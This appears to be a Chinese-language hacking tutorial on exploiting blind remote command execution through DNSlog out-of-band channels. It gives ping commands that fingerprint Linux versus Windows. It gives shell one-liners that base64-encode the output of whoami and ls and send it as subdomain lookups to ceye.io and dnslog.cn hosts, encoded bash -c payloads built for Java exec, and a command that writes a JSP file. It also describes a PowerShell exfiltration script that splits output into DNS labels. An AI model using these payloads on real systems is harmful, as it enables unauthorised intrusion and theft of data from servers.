判斷linux還是windows
1.先測試ping.exe test.ob3.ceye.io 是否接收到dnslog解析,如果可以則說明是windows
2.再測試ping -c 1 test.ob3.ceye.io,如果可以執行說明是linux。
需要注意的是,windows執行 ping -c 1 也是可以成功的,但需要超管權限,所以要先測試第一條命令,第一條命令只有windows可以執行成功的,如果執行不成功那可以反向證明可能是linux,如果第二條也成功就可證明,同時我們也可以用下面介紹的命令再次測試。如果都不成功,那就兩種情況,要嘛不出網,要嘛RCE的payload不對,比如shiro需要。
linux:
可以巧用反撇來執行命令,但需要注意幾點,域名不能用特殊符號,比如\+=之類的,java的exec會過濾反撇
等特殊符號,最好也編碼
以下命令將結果通過base64編碼,並去掉=號(awk后面建議用單引號,awk作用是分割,默認是空格,這里使用使用=分割,然后取第一個)
ping -c 1 whoami | base64|base64 | awk -F "=" '{print $1.".xdz7qb.dnslog.cn"}' |
或者使用sed進行字符串替換如下
ping -c 1 whoami | base64 |base64|sed -e 's/=//g' .xdz7qb.dnslog.cn |
上面命令再進行bash編碼后如下,需要注意的是,這個是通過java的exec執行的
bash -c {echo,cGluZyAtYyAxIGB3aG9hbWkgfCBiYXNlNjQgfCBhd2sgLUYgIj0iICd7cHJpbnQgJDEuIi54ZHo3cWIuZG5zbG9nLmNuIn0nYA==}|{base64,-d}|{bash,-i} |
正常在命令行執行需要加引號的
bash -c “{echo,cGluZyB3d3cuYmFpZHUuY29t}|{base64,-d}|{bash,-i}” |
寫文件,也記得要base64編碼這個命令
echo $base64str | base64 -d > 1.jsp |
按行讀取,當然記得bash編碼(sed后面’2,2p’就是只讀第2行的,’2,3p’可以讀取第2,3行)
ping -c 1 ls|sed -n '2,2p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
bash -c {echo,cGluZyAtYyAxIGBsc3xzZWQgLW4gJzIsMnAnIHwgYmFzZTY0IHwgYXdrIC1GICI9IiAne3ByaW50ICQxLiIucnRvYjNqLmNleWUuaW8ifSdgCgp4YXJncw==}|{base64,-d}|{bash,-i} |
只查看目錄
ping -c 1 ls -F /app/apache-tomcat-8.5.42/ | grep '/$'|sed -n '4,6p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
查看當前目錄下有幾個目錄
ping -c 1 ls -F /app/apache-tomcat-8.5.42/webapps/ | grep '/$' |wc -l |sed -n '1,2p' | base64 | awk -F "=" '{print $1.".rtob3j.ceye.io"}' |
windows
獲取用戶名,這里使用的環境變量,如果結果沒有特殊字符才沒問題,其他的就比較麻煩了。
windows需要結合powershell進行利用,暫時沒有想到其他好方法,大家有的可以推薦下。 為此我做了三個腳本,分別是powershell/perl/python的dnslog利用。 powershell就是windows上使用的,perl/python主要是在linux上會安裝,后續再考慮搞個bash和其他的吧。
下面簡單說下powershell腳本的原理,其他的大同小異。 將命令執行結果,使用unicode-base64編碼(powershell編解碼是基於unicode,和python/perl不一樣),然后替換特殊字符如+/,我用-_替代,因為+/字符不能出現在域名里,然后按每63字節分割base64字符串,然后構造好dnslog域名分段用ping命令或者域名解析函數傳出去解析。這里分段是因為在域名里每段子域名最長為63字節,即點和點之間的域名長度最大為63。 腳本只需要修改兩個地方,dir換成需要執行的命令,$domain輸入自己設置的dnslog域名。 tips:上面使用dir>1.txt,為什么這樣,是因為不重定向到文件,命令執行結果直接傳給變量沒有當前目錄信息,大家可以自己試試就知道了。
dnslog域名結構如下
$randstr: 6位隨機字符串,用來標識本次命令執行,與其他命令執行結果的dnslog做區別。 $os: 2位,用來標識當前系統和執行結果base64編碼次數,只是做個小tips,沒有也沒關系,w1標識windows 1次base64編碼,l2標識linux 2次base64編碼。 $count: 當前傳輸字符串編號,因為后面需要將分段傳輸結果進行拼接,該位就是拼接順序,防止亂序。 $base64str: 小於63字節的分段傳輸的base64字符串。 $domain:dnslog域名 最后還會再發送一個包含stop的dnslog域名來標識本次命令結果傳輸完畢。
例: 某一段:ASZVmN.w1.11.CAAIAAgACAAIAAgACAAIAAgACAAZAAtAC0ALQAtAC0AIAAgACAAIAAgACAAIAAg.test.xxx.dnslog.cn 停止標識:ASZVmNstop.w1.99.stop.test.xxx.dnslog.cn
傳回的結果會需要去重解碼,這個我在案例里一起說明下吧。 |